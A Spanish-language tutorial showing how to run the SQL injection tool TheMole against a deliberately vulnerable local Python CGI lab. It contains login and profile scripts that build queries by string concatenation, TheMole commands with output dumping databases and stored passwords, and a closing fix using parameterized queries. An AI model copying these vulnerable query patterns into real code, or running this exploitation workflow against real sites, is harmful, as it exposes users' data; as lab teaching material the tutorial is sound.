Inyección SQL – Explotación automática con TheMole

Versión: 3.x.

Introducción

TheMole es una herramienta escrita íntegramente en Python que explota automáticamente una dirección de URL vulnerable utilizando la técnica de inyección de código SQL. Es de código abierto, se distribuye bajo los términos de la licencia GPLv3, soporta las principales plataformas y bases de datos MySQL, PostgreSQL, Oracle y SQL Server. Véase la lista completa de características en la página del proyecto en SourceForge.

En este artículo montaremos una web ficticia vulnerable para demostrar el potencial de la herramienta, utilizando ambos métodos de Inyección SQL que provee (blind y union) tanto en peticiones GET como POST.

Descarga e instalación

Desde la sección de descargas puede obtenerse el código de fuente de TheMole que requiere únicamente una instalación de Python 3 y el paquete lxml. Usuarios de Microsoft Windows pueden optar por la solución compilada que corre de forma independiente.

Funcionamiento

TheMole requiere de unos pocos datos para poder ejecutarse. Nótese que no se trata de una herramienta de detección de vulnerabilidades, sino de explotación. Por ende, primero y principal, requiere una dirección de URL sobre la cual pueda actuar. Si es necesario, podemos especificar los parámetros específicos que son vulnerables a la inyección de código. Segundo, y para nada trivial, asegurarnos que nuestro objetivo (la dirección de URL vulnerable) muestra algún tipo de información que proviene de la base de datos (¿de dónde leeremos, más bien leerá TheMole, si no, los datos obtenidos de la base?). Sin embargo, la herramienta nos hará saber si este último requisito no se cumple. Por último, alguna palabra o texto que muestre la dirección de URL que tenemos como objetivo (needle).

Una vez provistos los datos anteriores, el programa se encargará, a partir de unos pocos comandos, de mostrarnos toda la información que solicitemos de la base de datos.

Sin más preámbulos, pasemos a un ejemplo funcional.

Ejemplos

Escenario

Lo primero que necesitamos es, lógicamente, una base de datos. En este artículo utilizaremos MySQL vía el módulo pymysql con Python 3, pero con unos pequeños cambios puedes adaptarlo a cualquiera de las mencionadas al comienzo.

En segundo lugar, un servidor CGI como el siguiente (véase Programación web vía CGI – Una introducción).

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from http.server import HTTPServer, CGIHTTPRequestHandler

class Handler(CGIHTTPRequestHandler):
    cgi_directories = ["/ejemplo1", "/ejemplo2"]

httpd = HTTPServer(("", 8000), Handler)
httpd.serve_forever()

Para seguir el artículo te sugiero que, en el lugar donde ejecutes este servidor, crees las carpetas indicadas en el código anterior: ejemplo1 y ejemplo2.

Ejemplo 1

Una vez corriendo el servidor CGI y el servidor de base de datos, comenzaremos con un ejemplo de autenticación de usuarios. Creamos una base de datos llamada sqli_test y, dentro de ésta, la tabla users que almacenará el nombre, contraseña y última visita del usuario. Puedes ejecutar el siguiente script para crear todo lo necesario de forma automática.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import pymysql

# Reemplazar los argumentos por los valores acordes a tu base de datos.
conn = pymysql.connect(host="localhost", port=3306, user="usuario",
                       passwd="clave", charset="utf8")
cursor = conn.cursor()

cursor.execute("""
    CREATE DATABASE IF NOT EXISTS sqli_test;
    USE sqli_test;
    CREATE TABLE users (name varchar(32), password varchar(32),
                        last_visit varchar(32));
    INSERT INTO users VALUES ('usuario1', 'clave1', '17/12/2015');
    INSERT INTO users VALUES ('usuario2', 'clave2', '18/12/2015');
    INSERT INTO users VALUES ('usuario3', 'clave3', '19/12/2015');
""")
conn.commit()

cursor.close()
conn.close()

Como habrás observado, creamos tres usuarios arbitrarios como información de prueba.

Ahora bien, una vez lista la base de datos, creamos el archivo ejemplo1/index.py para ingresar las credenciales.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

print("Content-Type: text/html")
print()

print("""
    <html>
    <form action="login.py" method="post">
        Usuario: <input type="text" name="name" /><br />
        Clave: <input type="password" name="password" /><br />
        <button type="submit">Ingresar</button>
    </form>
    </html>
""")

Se trata de un simple formulario HTML que realiza una petición POST al archivo login.py, que veremos a continuación.

Ingresando a http://localhost:8000/ejemplo1/index.py deberías ver el formulario (poco estético pero suficiente para nuestro propósito).

Vista previa

Junto al archivo anterior creamos ahora el fichero login.py.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from cgi import FieldStorage
import pymysql

print("Content-Type: text/plain")
print()

form_input = FieldStorage()

name = form_input["name"].value
password = form_input["password"].value

conn = pymysql.connect(host="localhost", port=3306, user="usuario",
                       passwd="clave", charset="utf8", db="sqli_test")
cursor = conn.cursor()

q = cursor.execute("SELECT last_visit FROM users WHERE "
                   "name='{}' AND password='{}'".format(name, password))
if q:
    print("Bienvenido, tu última visita fue el {}.".format(
          cursor.fetchone()[0]))
else:
    print("Usuario o clave incorrectos.")

cursor.close()
conn.close()

De esta forma, ingresando, por ejemplo, los valores «usuario1» y «clave1» (sin las comillas), la página responderá lo siguiente.

Bienvenido, tu última visita fue el 17/12/2015.

De forma similar obtendremos un mensaje de error al ingresar datos inválidos, por ejemplo, «usuario1» y «clave2».

Usuario o clave incorrectos.

Es una práctica bastante común en las diversas plataformas web el informar sobre el último ingreso, lo que nos proporciona, en este caso, una información salida directamente desde la base de datos.

Para comprobar si se trata de una autenticación vulnerable, añadiremos un apóstrofe (comillas simples) al nombre del usuario.

Vista previa

Al ingresar, observamos que la página queda en blanco y que nuestro servidor CGI nos muestra un mensaje de error en la consulta SQL. Esto indica que el parámetro que envía el nombre de usuario es vulnerable y, por ende, puede ser explotado por TheMole.

Generalmente la autenticación de usuarios se realiza vía una petición POST. Para determinar el nombre del parámetro nos dirigimos al código HTML del formulario.

<form action="login.py" method="post">
    Usuario: <input type="text" name="name" /><br />
    Clave: <input type="password" name="password" /><br />
    <button type="submit">Ingresar</button>
</form>

Allí se observa la dirección de URL vulnerable (action="login.py") el método (method="post") y el nombre de los parámetros de usuario y clave (name="name" y name="password").

Ejecutamos TheMole y le indicamos, en primer lugar, la dirección de URL.

#> url http://localhost:8000/ejemplo1/login.py

Seguido del método (POST) y los dos parámetros que requiere, tanto usuario como contraseña.

#> method POST name=usuario1&password=clave1

Luego, un texto que retorne la dirección anterior cuando es accedida con dichos parámetros. En este caso podemos utilizar «Bienvenido» como parte del texto que indica la última visita.

#> needle Bienvenido

Por último, el parámetro vulnerable. Hemos comprobado anteriormente que se trata del nombre de usuario (name), aunque bien sabemos que la clave actúa de forma similar y puede ser explotada de igual forma.

#> vulnerable_param POST name

Ejecutamos el comando schemas para iniciar la explotación.

#> schemas
[i] Trying injection using 0 parenthesis.
[+] Found separator: "'"
[+] Found DBMS: Mysql
[+] Found comment delimiter: "#"
[+] Query columns count: 1
[+] Injectable fields found: [1]
[+] Found injectable field: 1
[+] Using string union technique.
[+] Rows: 8
+--------------------+
| Databases          |
+--------------------+
| cdcol              |
| information_schema |
| mysql              |
| performance_schema |
| phpmyadmin         |
| sqli_test          |
| test               |
| webauth            |
+--------------------+

La inyección se ejecuta correctamente utilizando la técnica de unión y obtenemos la información de las bases de datos. Es de nuestro interés sqli_test, por lo que procedemos a obtener sus tablas.

#> tables sqli_test
[+] Rows: 1
+--------+
| Tables |
+--------+
| users  |
+--------+

Luego, las columnas de la tabla users.

#> columns sqli_test users
[+] Rows: 3
+-------------------------+
| Columns for table users |
+-------------------------+
| last_visit              |
| name                    |
| password                |
+-------------------------+

Finalmente, obtenemos los datos almacenados en la tabla de usuarios.

#> query sqli_test users name,password,last_visit
[+] Rows: 3
+----------------------------------+
| name     | password | last_visit |
+----------------------------------+
| usuario1 | clave1   | 17/12/2015 |
| usuario2 | clave2   | 18/12/2015 |
| usuario3 | clave3   | 19/12/2015 |
+----------------------------------+

Ejemplo 2

Este segundo ejemplo trata de una dirección de URL que despliega información desde una base de datos respecto de un determinado perfil a partir de un ID, con el siguiente formato.

http://localhost:8000/ejemplo2/profile.py?id=?

A diferencia del ejemplo anterior, en este caso se trata de una petición GET. El script para la creación automática de la base de datos es el siguiente.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import pymysql

conn = pymysql.connect(host="localhost", port=3306, user="usuario",
                       passwd="clave", charset="utf8")
cursor = conn.cursor()

cursor.execute("""
    CREATE DATABASE IF NOT EXISTS sqli_test;
    USE sqli_test;
    CREATE TABLE profiles (id integer, name varchar(32), age smallint,
                           gender boolean);
    INSERT INTO profiles VALUES (1, 'Perfil 1', 25, 1);
    INSERT INTO profiles VALUES (2, 'Perfil 2', 51, 1);
    INSERT INTO profiles VALUES (3, 'Perfil 3', 36, 0);
""")
conn.commit()

cursor.close()
conn.close()

Y el archivo ejemplo2/profile.py:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from cgi import FieldStorage
import pymysql

print("Content-Type: text/html")
print()

form_input = FieldStorage()
profile_id = form_input["id"].value

conn = pymysql.connect(host="localhost", port=3306, user="usuario",
                       passwd="clave", charset="utf8", db="sqli_test")
cursor = conn.cursor()

q = cursor.execute("SELECT name, age, gender FROM profiles WHERE "
                   "id=" + profile_id)
if q:
    name, age, gender = cursor.fetchone()
    gender = {0: "Masculino", 1: "Femenino"}[gender]
    print("""
        <html>
        <table>
            <tr>
                <td>Nombre</td>
                <td>{}</td>
            </tr>
            <tr>
                <td>Edad</td>
                <td>{}</td>
            </tr>
            <tr>
                <td>Género</td>
                <td>{}</td>
            </tr>
        </table>
        </html>
    """.format(name, age, gender))
else:
    print("El perfil no ha sido encontrado.")

Al ingresar a la dirección http://localhost:8000/ejemplo2/profile.py?id=1 debemos obtener la siguiente salida.

Vista previa

Añadiendo un apóstrofe simple al parámetro id (http://localhost:8000/ejemplo2/profile.py?id=1′) observamos nuevamente la página en blanco y el error de consulta SQL en nuestro servidor CGI. Tratamos, entonces, con un parámetro vulnerable. Procedemos de igual forma, comenzando con la dirección de URL.

#> url http://localhost:8000/ejemplo2/profile.py?id=1

El método es GET por defecto, por lo que no es necesario indicarlo. Tampoco el parámetro, pues es el único presente en la URL y por ende inferido por TheMole. Pasamos directamente al comando needle. En este caso utilizamos la cadena «Nombre».

#> needle Nombre

Ya tenemos todos los datos necesarios para obtener el esquema.

#> schemas
[i] Trying injection using 0 parenthesis.
[+] Found separator: " "
[+] Found DBMS: Mysql
[+] Found comment delimiter: "#"
[+] Query columns count: 3
[-] Could not find injectable field.
[i] Using blind mode.
[+] Found row count: 8
[+] Guessed length: 18
information_schema
[+] Guessed length: 5
cdcol
[+] Guessed length: 5
mysql
[+] Guessed length: 18
performance_schema
[+] Guessed length: 10
phpmyadmin
[+] Guessed length: 9
sqli_test
[+] Guessed length: 4
test
[+] Guessed length: 7
webauth
+--------------------+
| Databases          |
+--------------------+
| cdcol              |
| information_schema |
| mysql              |
| performance_schema |
| phpmyadmin         |
| sqli_test          |
| test               |
| webauth            |
+--------------------+

En este caso la téncica de unión no pudo ser aplicada, por lo que se utiliza el método blind. Obtenemos la información de la base de datos de nuestro interés.

#> tables sqli_test
[+] Found row count: 1
[+] Guessed length: 8
profiles
+----------+
| Tables   |
+----------+
| profiles |
+----------+

Luego, las columnas de la base profiles.

#> columns sqli_test profiles
[+] Found row count: 4
[+] Guessed length: 2
id
[+] Guessed length: 4
name
[+] Guessed length: 3
age
[+] Guessed length: 6
gender
+----------------------------+
| Columns for table profiles |
+----------------------------+
| age                        |
| gender                     |
| id                         |
| name                       |
+----------------------------+

Por último, toda la información de la tabla.

#> query sqli_test profiles id,name,age,gender
[+] Found row count: 3
[+] Guessed length: 18
1~&Perfil 1~&25~&1
[+] Guessed length: 18
2~&Perfil 2~&51~&1
[+] Guessed length: 18
3~&Perfil 3~&36~&0
+------------------------------+
| id | name     | age | gender |
+------------------------------+
| 1  | Perfil 1 | 25  | 1      |
| 2  | Perfil 2 | 51  | 1      |
| 3  | Perfil 3 | 36  | 0      |
+------------------------------+

Prevenir inyección de código SQL

La vulnerabilidad de los ejemplos anteriores radica en concatenar los datos recibidos desde el navegador directamente en la consulta, como se observa a continuación.

q = cursor.execute("SELECT name, age, gender FROM profiles WHERE "
                   "id=" + profile_id)

Afortunadamente todos los paquetes de Python para el manejo de base de datos proveen el método de parametrización en base al estándar definido en el documento PEP 0249. A partir de esta implementación, el código anterior es asegurado de la siguiente forma.

q = cursor.execute("SELECT name, age, gender FROM profiles WHERE "
                   "id=%s", (profile_id,))

Podemos comprobar ahora que al ingresar a http://localhost:8000/ejemplo2/profile.py?id=1′ (nótese el apóstrofe extra al final) no obtenemos una página en blanco sino simplemente una advertencia en nuestro servidor CGI. De igual forma, TheMole falla en su intento por explotar una vulnerabilidad inexistente.

#> url http://localhost:8000/ejemplo2/profile.py?id=1
#> needle Nombre
#> schemas
[i] Trying injection using 0 parenthesis.
[i] Trying injection using 1 parenthesis.
[i] Trying injection using 2 parenthesis.
[-] Could not exploit SQL Injection: Separator not found ()

Curso online 👨‍💻

¡Ya lanzamos el curso oficial de Recursos Python en Udemy! Un curso moderno para aprender Python desde cero con programación orientada a objetos, SQL y tkinter en 2024.

Consultoría 💡

Ofrecemos servicios profesionales de desarrollo y capacitación en Python a personas y empresas. Consultanos por tu proyecto.

Deja una respuesta